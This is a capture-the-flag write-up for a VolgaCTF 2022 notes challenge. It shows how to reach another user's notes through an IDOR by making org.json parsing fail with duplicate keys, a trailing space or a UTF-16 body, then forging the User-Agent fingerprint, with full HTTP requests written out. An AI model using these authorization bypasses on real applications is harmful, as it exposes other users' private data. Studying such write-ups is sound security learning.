Rating:

Yet Another Notes Task

To get the flag, you need to exploit the IDOR vulnerability through the userID parameter.

    @PostMapping(value = "/notes", produces = MediaType.APPLICATION_JSON_VALUE)
    public @ResponseBody NotesResponse notes(@RequestBody BaseRequest request) {
        NotesResponse response = new NotesResponse();
        User user = userDao.getUser(request.getUserID());
        if(user == null) {
            response.setResult("error");
            response.setError("Something wrong");
        } else {
            response.setResult("ok");
            response.setNotes(user.getNotes());
        }
        return response;
    }

To do this, you need to bypass the additional user ID matching check in the session and request parameters in the HttpFilter.

    protected void doFilter(HttpServletRequest servletRequest, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
        MultiReadHttpServletRequest request = new MultiReadHttpServletRequest(servletRequest);
        RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
        Integer sessionUserID = (Integer)(requestAttributes.getAttribute("user_id", RequestAttributes.SCOPE_SESSION));
        Integer requestUserID = null;
        
        if (HttpMethod.POST.matches(request.getMethod())) {
            try {
                String body = request.getReader().lines().collect(Collectors.joining(System.lineSeparator()));
                JSONObject jsonObject = new JSONObject(body);
                requestUserID = jsonObject.getInt("userID");
            } catch (Exception e) {}
        }
        [...]
        if((sessionUserID != null) && ((requestUserID == null) || sessionUserID.equals(requestUserID))) {
            [...]
        } else {
            response.sendError(HttpServletResponse.SC_FORBIDDEN, "Unauthorized");
        }
    }

Thus, it is necessary to throw an Exception in the processing of the HTTP request body through the org.json library so that the requestUserID variable remains uninitialized. But the standard Spring HTTP request parser should return the correct value.

This can be done in several ways:

  • Duplicate parameters with the same keys {"userID":"1","x":"x","x":"x"}
  • Space after number {"userID":"1 "}
  • Wrap HTTP request body in UTF-16 encoding

Additionally, you need to bypass the device fingerprint check.

    String deviceFingerprint = Utils.getMd5(requestUserID, request.getHeader("User-Agent"), request.getRemoteAddr());
    if(sessionDao.isValidSession(deviceFingerprint, requestAttributes.getSessionId())) {
        filterChain.doFilter(request, response);
    } else {
        response.sendError(HttpServletResponse.SC_FORBIDDEN, "Unauthorized");
    }
    [...]   
    public static String getMd5(Object... args) {
        try {
            MessageDigest md = MessageDigest.getInstance("MD5");
            for (Object arg : args) {
                if(arg != null)
                    md.update(String.valueOf(arg).getBytes());
            }
            byte[] digest = md.digest();
            String hash = DatatypeConverter.printHexBinary(digest).toLowerCase();
            return hash;
        } catch (NoSuchAlgorithmException ex) {
            return null;
        }
    }

Since the value of requestUserID is null, you must add the user ID to the beginning of the User-Agent header line.

POST /signup HTTP/1.1
Host: yant.volgactf-task.ru
User-Agent: XXX
Content-Type: application/json
Content-Length: 47

{"username":"blahblah","password":"blahblah"}
POST /notes HTTP/1.1
Host: yant.volgactf-task.ru
Cookie: JSESSIONID=<attacker-session-id>;
User-Agent: <attacker-user-id>XXX
Content-Type: application/json
Content-Length: 30

{"userID":"1","x":"x","x":"x"}
Original writeup (https://github.com/BlackFan/ctfs/blob/master/volgactf_2022_quals/yant/solution.md).